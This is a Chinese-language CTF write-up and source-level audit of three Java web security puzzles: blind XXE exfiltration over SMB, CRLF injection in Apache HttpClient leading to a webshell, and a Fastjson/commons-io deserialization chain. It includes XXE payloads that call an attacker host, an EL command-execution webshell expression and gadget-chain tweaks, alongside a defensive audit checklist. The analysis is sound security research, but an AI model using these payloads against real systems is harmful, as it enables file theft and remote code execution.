25 KiB
基于 cwkiller/Java-Puzzle 三道 Java Web 安全谜题,结合 OpenJDK、Apache HttpCore、Apache commons-io 的官方源码,对每条利用结论进行逐行验证与扩展分析。
写作目的:把「单点 trick」沉淀为「可批量复制的审计方法论」。所有结论均附源码位置与版本 diff,可独立复现。
目录
- 一、谜题总览
- 二、题一 No-FTP-XXE:协议差异是富矿
- 三、题二 Tomcat's Secret Chamber:
(byte)char高位截断 - 四、题三 Fastjson Decoder:失败前的副作用
- 五、跨题方法论沉淀
- 六、可执行的审计检查清单
- 附录:版本边界与源码索引
一、谜题总览
Java-Puzzle 是一个 Java Web 安全谜题(CTF)集合,每题基于真实审计场景设计,包含三个独立挑战:
| 序号 | 名称 | 难度 | 核心知识点 | 关键版本 |
|---|---|---|---|---|
| 01 | No-FTP-XXE | ⭐⭐⭐ | 盲 XXE、协议解析差异、多行文件外带 | dom4j、Spring、Windows、JDK ≥ 8u131 |
| 02 | Tomcat's Secret Chamber | ⭐⭐⭐ | Servlet 3.0 web-fragment 隐藏配置、HEAD 绕过、不出网 SSRF GetShell |
Tomcat 9.0.10、Apache HttpClient < 4.5.10 |
| 03 | Fastjson Decoder | ⭐⭐⭐ | Fastjson 反序列化、commons-io 链 NPE 适配、ASCII jar 覆盖 ext | Fastjson 1.2.78、commons-io 2.2、OpenJDK 8u342 |
本文对每道题做三层分析:① 题目与官方解 → ② 源码级验证 → ③ 审计/渗透可复用经验。
二、题一 No-FTP-XXE:协议差异是富矿
2.1 题目与官方解
漏洞代码(Spring + dom4j):
@PostMapping("/update-config")
public ResponseEntity<Map<String, Object>> updateSystemConfig(
@RequestParam("configXml") String configXml, ...) {
CompletableFuture.runAsync(() -> { // 异步
try {
SAXReader reader = new SAXReader();
Document document = reader.read(new StringReader(configXml)); // ★ XXE sink
processConfigDocument(document);
} catch (DocumentException e) {
System.err.println("配置处理错误: " + e.getMessage()); // 异常全吞
}
});
...
}
特征:异步处理 + 所有异常被吞 → 报错 XXE 路线被堵死,只剩 OOB(外带)。
官方解:目标为 Windows,高版本 JDK(JDK ≥ 8u131)无法用 FTP 外带多行文件,最终用 file/netdoc 协议构造 UNC 路径,通过 SMB 外带:
<!-- 1. 列目录拿到 flag 文件名 -->
<!DOCTYPE data [
<!ENTITY % f SYSTEM "netdoc://C:/">
<!ENTITY % dtd SYSTEM "http://attacker:9991/data.dtd"> %dtd;
]>
<data>&send;</data>
<!-- 2. 读文件内容(data.dtd 把 %f 拼进 UNC 路径发往 SMB) -->
<!ENTITY % file SYSTEM "file:///C:/flagxdzqs.txt">
工具链:xxe-smb-server(impacket 开匿名 SMB)+ python3 -m http.server 放恶意 DTD + tcpdump -i eth0 port 445 -w smb.pcap 抓包。
2.2 源码级验证
2.2.1 协议清单是可枚举的
URL.getURLStreamHandler(OpenJDK java/net/URL.java:1133)按命名约定 sun.net.www.protocol.<协议>.Handler 解析处理器:
packagePrefixList += "sun.net.www.protocol"; // :1160
String clsName = packagePrefix + "." + protocol + ".Handler"; // :1171-1172
从源码目录看,JDK 内置且仅内置这 7 个协议:
file ftp http https jar mailto netdoc
审计意义:拿到一个 JDK/中间件环境,先列出实际存在的 Handler 目录,得到一份确定的「可达协议清单」,再逐个分析过滤策略——而不是盲目试探。
2.2.2 FTP:修复 commit 的精确位置(8u131,不是 8u162)
网上流传分界线是 jdk<8u162,源码 diff 证明真正分界是 8u131。
8u121 FtpClient.java:520-533(修复前):
private boolean issueCommand(String cmd) throws IOException { // 只声明 IOException
...
sendServer(cmd + "\r\n"); // ★ 直接发,无换行检查
return readReply();
}
8u131 FtpClient.java:520-540(修复后):
private boolean issueCommand(String cmd) throws IOException,
sun.net.ftp.FtpProtocolException { // 新增异常
...
if (cmd.indexOf('\n') != -1) { // ★ 新增检查
sun.net.ftp.FtpProtocolException ex
= new sun.net.ftp.FtpProtocolException("Illegal FTP command");
ex.initCause(new IllegalArgumentException("Illegal carriage return"));
throw ex;
}
sendServer(cmd + "\r\n");
return readReply();
}
精确 diff:8u121 → 8u131 只多了两个改动——签名加 FtpProtocolException、新增 6 行 indexOf('\n') 检查。8u131 → 8u202 完全一致,检查一直保留。所有 FTP 命令(含 user/pass 认证字段)最终都走 issueCommand,无一幸免。
2.2.3 HTTP:双重拦截 + 构造期检查
// HttpURLConnection.java:847 — 构造时检查整个 URL
private static URL checkURL(URL u) throws IOException {
if (u != null) {
if (u.toExternalForm().indexOf('\n') > -1) { // 整个 URL 外部形式
throw new MalformedURLException("Illegal character in URL");
}
}
return u;
}
// HttpURLConnection.java:828 — 另一个构造器检查 host
private static String checkHost(String h) throws IOException {
if (h != null) {
if (h.indexOf('\n') > -1) { // host 单独再查
throw new MalformedURLException("Illegal character in host");
}
}
return h;
}
checkURL 在构造函数 super(checkURL(u))(:857)就调用,请求还没发,构造 URL 时就抛异常。writeup 提到的 userinfo(user:pass@host)虽允许传入但不自动带 Authorization 头,加上这道构造期检查,HTTP 外带彻底无解。
2.2.4 mailto:命令字段的 \n 拦截
mailto 委托给 sun.net.smtp.SmtpClient:
// SmtpClient.java:77 — RCPT TO
public void to(String s) throws IOException {
if (s.indexOf('\n') != -1) { // ★
throw new IOException("Illegal SMTP command", ...);
}
...
issueCommand("rcpt to: <" + s + ">\r\n", 250);
}
// SmtpClient.java:123 — MAIL FROM,同样检查
public void from(String s) throws IOException {
if (s.indexOf('\n') != -1) { // ★
throw new IOException("Illegal SMTP command", ...);
}
...
}
to() / from() 都拦 \n,且 mailto 的 Handler 不实现输入(只返回 MailToURLConnection),protocol doesn't support input,OOB 触发读取时直接报错。
2.2.5 file / netdoc:无过滤的逃生口
// netdoc/Handler.java — openConnection 回退到 file 协议
if (uc == null) {
try {
ru = new URL("file", "~", file); // ★ 回退到 file
uc = ru.openConnection();
} ...
}
netdoc 先尝试文档 URL,失败就 new URL("file",...)。而 file 协议处理器没有任何换行检查,所以 file://\\attacker\share 或 netdoc://\\attacker\share 构造的 UNC 路径畅通无阻,Windows 上触发 SMB 连接,多行内容进了 SMB 数据包——这就是 SMB 能外带多行的根本原因。
2.2.6 七协议过滤矩阵(源码验证结果)
| 协议 | 关键代码位置 | \n 是否被拦 |
结论 |
|---|---|---|---|
| ftp | FtpClient#issueCommand (8u131+:532) |
✅ 拦 | JDK≥8u131 无法外带多行 |
| http/https | HttpURLConnection#checkURL (8u202:849) |
✅ 拦 | 整个 URI 含 \n 直接 MalformedURLException |
| http host | HttpURLConnection#checkHost (8u202:830) |
✅ 拦 | host 部分含 \n 也拦 |
| mailto | SmtpClient#to(78) / #from(124) |
✅ 拦 | RCPT TO / MAIL FROM 都判 \n |
| jar | 委托给 http | ✅ 拦 | 等同 http |
| file | 无 \n 过滤 |
❌ 不拦 | 唯一突破口 |
| netdoc | Handler#openConnection 回退到 file |
❌ 不拦 | 另一突破口 |
2.3 审计/渗透可复用经验
- DOM4J 的
SAXReader是高频 XXE 点。审计全文搜SAXReader、DocumentBuilder、XMLInputFactory、Unmarshaller、Transformer,确认是否做了FEATURE_DISALLOW_DOCTYPE_DECL等加固。 - 异步 + 异常全吞 ≠ 安全。报错 XXE 被堵死,但 OOB 依然成立。不要因为「异常被吞了」就放行 XXE。
- 判断 OS 看「外带服务有没有收到请求」:请求
/etc/passwd收不到回连,立刻怀疑 Windows。 - 协议安全检查是分散的、非对称的。JDK 把
\n拦截做在每个处理器自己的代码里,而不是统一网络层。看到一个协议有过滤,绝不能推断其他协议也有,必须逐个验证。 - 版本边界用源码 diff 确认,不能信二手说法(8u131 ≠ 8u162)。
2.4 实战坑点
- Win11 安全策略不允许访问匿名 SMB,只发认证请求不发
Tree Connect Request,需map to guest = Bad User。 - 家宽到云服务器 445 出站被封,换云厂商没用,是出口侧被封。
Tree Connect Request首字符不能是;:绕过用file:////ip/a%file;前面加字符。
三、题二 Tomcat's Secret Chamber:(byte)char 高位截断
3.1 题目与官方解
本题分两部分:权限绕过 + 不出网 SSRF GetShell。
第一部分:隐藏配置 + HEAD 绕过
访问 /admin/getimg.jsp 返回 403,但 web.xml 为空。配置藏在 JAR 包的 web-fragment.xml 里:
WEB-INF/lib/ant-apache-xalan2.jar!/META-INF/web-fragment.xml
<security-constraint>
<web-resource-collection>
<url-pattern>/admin/*</url-pattern>
<http-method>GET</http-method> <!-- 只限 GET/POST -->
<http-method>POST</http-method>
</web-resource-collection>
<auth-constraint></auth-constraint> <!-- 拒绝所有角色 -->
</security-constraint>
绕过:用 HEAD 方法。JSP 编译后继承 HttpJspBase,HttpServlet#service 对 HEAD 的处理是「调用 doGet + 包 NoBodyResponse(吞响应体)」。所以 HEAD /admin/getimg.jsp 绕过权限,副作用(文件写入/SSRF)照样执行。
第二部分:不出网 SSRF 写 shell
getimg.jsp 用 Apache HttpClient 请求 url 参数,响应体写入 /img/<最后一个斜杠后的内容>,后缀无限制、只过滤 ..。需要让 Tomcat 自己返回含 JSP 代码的响应:
- HTTP 头值部分可触发 Tomcat 错误回显。
- Apache HttpClient < 4.5.10 有 CRLF 注入:
\n被防御,但 Unicode\u560a(URL 编码%E5%98%8A)能绕过。 - CRLF 注入到响应头,注入 EL 表达式
${param.getClass().forName(...)...eval(param.cmd)}构造 webshell。 - 写入文件,ScriptEngine 落地内存马。
3.2 源码级验证:(byte)char 截断的完整调用链
writeup 说修复在 ByteArrayBuffer,源码印证漏洞点就是 append(char[]) 里的一行强转。
漏洞代码(HttpCore 4.4.11 ByteArrayBuffer.java:138-140):
for (int i1 = off, i2 = oldlen; i2 < newlen; i1++, i2++) {
this.buffer[i2] = (byte) b[i1]; // ★ char 强转 byte,丢弃高8位
}
完整调用链(writeup 没展开,源码补全):
AbstractMessageWriter.write(message) // 序列化整个 HTTP 消息
├─ writeHeadLine(message) // 写请求行
└─ for each header:
sessionBuffer.writeLine( // AbstractMessageWriter:111
lineFormatter.formatHeader(lineBuf, header)) // 格式化 "Name: Value"
│
▼
SessionOutputBufferImpl.writeLine(CharArrayBuffer) // :232
└─ this.buffer.append(charbuffer, off, chunk) // :243 char[] → byte 缓冲
│
▼
ByteArrayBuffer.append(char[] b, int off, int len) // :122
└─ this.buffer[i2] = (byte) b[i1]; // :139 ★ 截断发生处
│ 之后 writeLine(CRLF) 追加 \r\n (:255)
▼
网络发出含注入换行的请求头
\u560a 的低 8 位正是 0x0a,高 8 位 0x56 被截断丢弃 → 变成 \u000a(\n)。推论 \uxx0a(xx 任意)都成立。
修复 commit(HttpCore 4.4.12,client 4.5.10 引入):
// ByteArrayBuffer.java (4.4.12) 第 139-146 行
for (int i1 = off, i2 = oldlen; i2 < newlen; i1++, i2++) {
if ((b[i1] >= 0x20 && b[i1] <= 0x7E) || // 可见 ASCII
(b[i1] >= 0xA0 && b[i1] <= 0xFF)) { // 可见 ISO-8859-1
this.buffer[i2] = (byte) b[i1];
} else {
this.buffer[i2] = '?'; // ★ 超范围一律替换为 ?
}
}
0x0a 不在 [0x20,0x7E]∪[0xA0,0xFF],任何换行字符被替换成 ?,CRLF 注入堵死。修复只改了 char 来源路径,没动 append(byte[]) 和 append(int)(那两个本来就是 byte),定位精准。
3.3 审计/渗透可复用经验
web.xml为空不代表没有安全配置。Servlet 3.0 的web-fragment.xml允许 JAR 在META-INF定义 security-constraint。审计时必须解压所有 JAR 搜web-fragment.xml、<security-constraint>、<url-pattern>。<http-method>枚举是致命疏漏:没列的方法默认放行。看到枚举方法立刻检查 JSP/Servlet 是否支持其他方法(HEAD/OPTIONS/PUT/DELETE)。- HEAD 绕过的通用性:任何只重写
doGet/doPost的 Servlet 都能用 HEAD/TRACE 访问。HttpServlet#service对 HEAD 是「调 doGet + NoBodyResponse 吞响应体」。 (byte)charValue是可扫描的漏洞指纹。grep 全量搜\(byte\)\s*\w+\[强转模式,出现在「网络/序列化/编码转换」路径上的高危。正确修复是白名单(只放行可见字符),不是黑名单(拦\r\n)——黑名单会漏掉\u560a编码绕过。- SSRF 文件下载必须限白名单后缀。本题
fileName.indexOf("..")只过滤目录穿越,不限后缀导致写 jsp。
四、题三 Fastjson Decoder:失败前的副作用
4.1 题目与官方解
Fastjson 1.2.78 + commons-io 2.2。公开的 commons-io 链(WriterOutputStream)在 Docker/OpenJDK 环境因 decoder 参数为 null 报 NPE。但 fastjson 反序列化是从内层到外层依次构造,外层 LockableFileWriter 在 WriterOutputStream 之前处理——副作用(建带锁空文件)依然发生。
适配 NPE 的关键 trick:
"decoder":{"@type":"com.alibaba.fastjson.util.UTF8Decoder"}
用 Fastjson 自带的 UTF8Decoder 填充原本为 null 的 decoder 字段,绕过 NPE。
落地链:
- 生成纯 ASCII jar(c0ny1 脚本,padding 让 zip 各字段落在 ASCII 范围)。
- 覆盖
$JRE/lib/ext/dnsns.jar(-verbose:class查未加载的 ext jar)。 @type指向sun.net.spi.nameservice.dns.DNSNameServiceDescriptor,其构造函数执行Runtime.exec(message)。
4.2 源码级验证
4.2.1 NPE 根因:构造函数选择决定成败
// WriterOutputStream.java
private final CharsetDecoder decoder; // :77 — final,必须构造时赋值
// 构造函数 A:直接接收 decoder (4参, :120)
public WriterOutputStream(Writer writer, CharsetDecoder decoder, int bufferSize, ...) {
this.decoder = decoder; // :122 — 用外部传入的 decoder
}
// 构造函数 C:用 Charset (4参, :139) — 内部 newDecoder,decoder 非空
public WriterOutputStream(Writer writer, Charset charset, int bufferSize, ...) {
this(writer, charset.newDecoder()..., ...); // :140-141 → 转调 A
}
// 构造函数 B:用 charsetName (4参, :173) → 转调 C → 转调 A,decoder 非空
NPE 真正原因:Fastjson 在不同 JDK 发行版下选中的构造函数不同。
- Mac IDEA:选中
(Writer, String charsetName, ...)(:173)或(Writer, Charset, ...)(:139),内部newDecoder()非 null → 不报 NPE。 - Docker/OpenJDK:选中
(Writer, CharsetDecoder, ...)(:120),payload 未显式给decoder→decoder = null→processInput()(:280)调this.decoder.decode(...)触发 NPE。
writeup 的 "decoder":{"@type":"...UTF8Decoder"} 就是强行给构造函数 A 注入非 null decoder,源码完美解释其有效性。
4.2.2 副作用时序(题三最核心的审计点)
LockableFileWriter 构造函数(:158-184)的副作用时序:
new LockableFileWriter(file, encoding, append=false, lockDir)
├─ :164 FileUtils.forceMkdir(parent) ← 副作用①:创建父目录
├─ :175 FileUtils.forceMkdir(lockDirFile) ← 副作用②:创建锁目录
├─ :180 createLock()
│ └─ :212 lockFile.createNewFile() ← 副作用③:创建 .lck 锁文件
│ └─ :216 lockFile.deleteOnExit()
└─ :183 initWriter(file, encoding, append)
└─ :238 new FileOutputStream(file, append=false)
← 副作用④:创建/截断目标文件(append=false 截断为 0 字节)
关键:外层 WriterOutputStream 在内层 LockableFileWriter 实例化之后才创建,而 Fastjson 从内层到外层依次构造。即使外层后续抛 NPE,副作用 ①-④ 已全部发生——目标文件已截断为空、锁文件已建。这就是「还是创建一个带锁的空文件」的源码级根因。
4.3 审计/渗透可复用经验
- 失败 ≠ 无害:追踪构造函数里、抛异常前的副作用。逐行列出「在第一个可能抛异常的语句前,已改了哪些外部状态」(建文件、建目录、建锁、写日志、发网络请求)。
- 构造函数歧义是反序列化漏洞的放大器。
WriterOutputStream有 7 个构造函数,3 个参数族对 null 容忍度不同。审计反序列化 sink 时,穷举所有构造函数,画「每个构造函数对每个 final 字段的赋值来源」。 - 环境差异归因到具体代码路径分歧,不要停在「JDK 发行版不同」。本题真正分歧是「Fastjson 选中的构造函数不同」。
- 公开链报 NPE 别判死刑:看「报错之外副作用是否仍发生」。
- ASCII jar + 覆盖未加载 ext jar 是 Fastjson 文件写 getshell 的通用落地手法,
-verbose:class是审计工具。
五、跨题方法论沉淀
三道题在源码层面验证出三条可复用的审计规则,都可机械化执行(grep 强转、grep 构造函数、画副作用时序):
| 规则 | 题一(协议) | 题二(类型截断) | 题三(构造函数歧义) |
|---|---|---|---|
| 过滤是分散的、逐实现做的,不能跨实现推断 | ftp/http/mailto 各自拦 \n,file/netdoc 不拦 |
append(byte[]) 不过滤,append(char[]) 才截断——同一类两个方法策略不同 |
7 个构造函数,只有接 CharsetDecoder 的那个会让 decoder 为 null |
| 版本边界靠 diff 确认,不能信二手说法 | 8u131 不是 8u162 | httpcore 4.4.12 / client 4.5.10 | commons-io 2.2 此构造函数族一直存在 |
| 关注失败前的副作用,而非失败本身 | 命令被拦 = 外带失败,无副作用残留 | 字符被替换为 ? = 注入失败,无副作用 |
NPE 抛在外层,内层文件副作用已完成 ← 最典型 |
通用分析方法
- 拿到代码先排异常处理路径:异常被吞(题一)、
web.xml为空(题二)、公开链报 NPE(题三),都不是终点。 - 协议/类型/构造函数差异是富矿:每种实现的处理都不同,逐个验证。
- Java 类型强转是漏洞模式:
(byte)char高位截断(题二)、indexOf(10)单字符判断(题一)。 - 隐藏配置的排查:解压所有 JAR 扫
META-INF/。 - HTTP 方法完整性:
security-constraint的<http-method>、Servlet 的doGet/doPost、JSP 的方法支持——只要没覆盖全集就可能绕过。 - 环境一致性:本地 IDE 与 Docker 表现不同,优先怀疑 JDK 发行版差异,在目标同构环境复现。
六、可执行的审计检查清单
XXE
- 全文搜
SAXReader/DocumentBuilder/XMLInputFactory/Unmarshaller/Transformer,确认 doctype 禁用。 - 异步/异常吞掉的 XML 解析点,验证 OOB(外带)是否成立。
- 列出目标 JDK 的可达协议清单(
sun.net.www.protocol.*),逐个评估外带面。 - 确认 JDK 版本,用源码 diff 而非二手文档判断 FTP 外带分界(8u131)。
权限控制
- 解压所有 JAR,搜
web-fragment.xml/web-fragment_*.xsd/<security-constraint>。 - 检查
<http-method>是否枚举了全集;未列的方法默认放行。 - 对每个受保护资源测试 HEAD / OPTIONS / TRACE / PUT / DELETE。
- Servlet 只重写
doGet/doPost的,验证 HEAD 是否能触发副作用。
类型截断 / 编码
- grep
\(byte\)\s*\w+\[强转模式,标注网络/序列化路径上的高危点。 - HTTP 客户端版本核对(Apache HttpClient < 4.5.10 存在 CRLF 注入)。
- 写文件功能检查后缀白名单,不只过滤
..。
反序列化
- 反序列化 sink 目标类穷举构造函数,画 final 字段赋值来源表。
- 画构造函数副作用时序(抛异常前已改的外部状态)。
- 公开链报错时,验证「失败前的副作用是否仍发生」。
- 文件写 getshell:确认目标 JDK 版本(ext jar 可加载性)、
-verbose:class列未加载 jar。
附录:版本边界与源码索引
A.1 版本边界速查
| 组件 | 漏洞 | 修复版本 | 真实分界(源码验证) |
|---|---|---|---|
| OpenJDK 8 | FTP 多行外带 | 8u131 | FtpClient#issueCommand 新增 indexOf('\n') 检查 |
| OpenJDK 8 | HTTP URI \n |
早期版本起 | HttpURLConnection#checkURL 构造期检查 |
| Apache HttpCore | (byte)char CRLF 注入 |
4.4.12 | ByteArrayBuffer#append(char[]) 白名单过滤 |
| Apache HttpClient | 同上(引入 httpcore) | 4.5.10 | 升级 httpcore 4.4.11 → 4.4.12 |
| commons-io 2.2 | WriterOutputStream decoder null |
未单独修(利用链适配) | 构造函数族一直存在 |
| Fastjson | 1.2.78 commons-io 链 | 需手动适配 decoder | UTF8Decoder 填充绕过 NPE |
A.2 关键源码文件索引
题一(协议差异):
| 文件 | 仓库 / Tag | 关键行 |
|---|---|---|
sun/net/ftp/impl/FtpClient.java |
openjdk/jdk8u (8u121 / 8u131 / 8u202) | 8u131:532 |
sun/net/www/protocol/http/HttpURLConnection.java |
openjdk/jdk8u jdk8u202-b08 | checkURL:849, checkHost:830 |
sun/net/smtp/SmtpClient.java |
openjdk/jdk8u jdk8u202-b08 | to:78, from:124 |
sun/net/www/protocol/netdoc/Handler.java |
openjdk/jdk8u jdk8u202-b08 | openConnection 回退 file |
java/net/URL.java |
openjdk/jdk8u jdk8u202-b08 | getURLStreamHandler:1133 |
题二(类型截断):
| 文件 | 仓库 / Tag | 关键行 |
|---|---|---|
org/apache/http/util/ByteArrayBuffer.java |
apache/httpcomponents-core rel/v4.4.11 vs 4.4.12 | append(char[]):139 |
org/apache/http/impl/io/AbstractMessageWriter.java |
apache/httpcomponents-core rel/v4.4.11 | write():106-116 |
org/apache/http/impl/io/SessionOutputBufferImpl.java |
apache/httpcomponents-core rel/v4.4.11 | writeLine():232-256 |
题三(副作用时序):
| 文件 | 仓库 / Tag | 关键行 |
|---|---|---|
org/apache/commons/io/output/WriterOutputStream.java |
apache/commons-io 2.2 | decoder 字段:77, 构造函数:120/139/173 |
org/apache/commons/io/output/LockableFileWriter.java |
apache/commons-io 2.2 | 构造函数副作用:158-184 |
A.3 复现步骤
所有源码均可从 GitHub 公开仓库直接获取,无需鉴权:
# 题一:对比 JDK 8u121 与 8u131 的 FTP 修复
curl -o FtpClient_8u121.java https://raw.githubusercontent.com/openjdk/jdk8u/jdk8u121-b13/jdk/src/share/classes/sun/net/ftp/impl/FtpClient.java
curl -o FtpClient_8u131.java https://raw.githubusercontent.com/openjdk/jdk8u/jdk8u131-b11/jdk/src/share/classes/sun/net/ftp/impl/FtpClient.java
diff FtpClient_8u121.java FtpClient_8u131.java
# 题二:对比 HttpCore 4.4.11 与 4.4.12 的 ByteArrayBuffer 修复
curl -o BA_4.4.11.java https://raw.githubusercontent.com/apache/httpcomponents-core/rel/v4.4.11/httpcore/src/main/java/org/apache/http/util/ByteArrayBuffer.java
curl -o BA_4.4.12.java https://raw.githubusercontent.com/apache/httpcomponents-core/rel/v4.4.12/httpcore/src/main/java/org/apache/http/util/ByteArrayBuffer.java
diff BA_4.4.11.java BA_4.4.12.java
# 题三:commons-io 2.2 构造函数族
curl -o WriterOutputStream.java https://raw.githubusercontent.com/apache/commons-io/2.2/src/main/java/org/apache/commons/io/output/WriterOutputStream.java
curl -o LockableFileWriter.java https://raw.githubusercontent.com/apache/commons-io/2.2/src/main/java/org/apache/commons/io/output/LockableFileWriter.java
声明:本文内容仅用于安全研究、代码审计学习与防御教学。所有源码引用均来自官方公开仓库,漏洞利用部分基于公开的 CTF 谜题场景。请在授权环境下进行安全测试。
整理自 Java-Puzzle 三道谜题的 writeup 与 OpenJDK / Apache HttpCore / Apache commons-io 源码级验证分析。